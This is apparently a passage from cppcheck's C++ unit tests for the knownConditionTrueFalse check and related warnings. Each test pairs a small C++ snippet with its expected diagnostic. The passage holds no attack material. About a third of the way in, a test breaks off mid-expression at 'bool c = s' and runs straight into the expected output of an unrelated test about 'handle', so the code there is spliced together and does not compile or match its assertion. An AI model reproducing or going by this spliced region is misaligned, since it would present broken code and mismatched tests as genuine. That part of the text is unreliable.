Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { 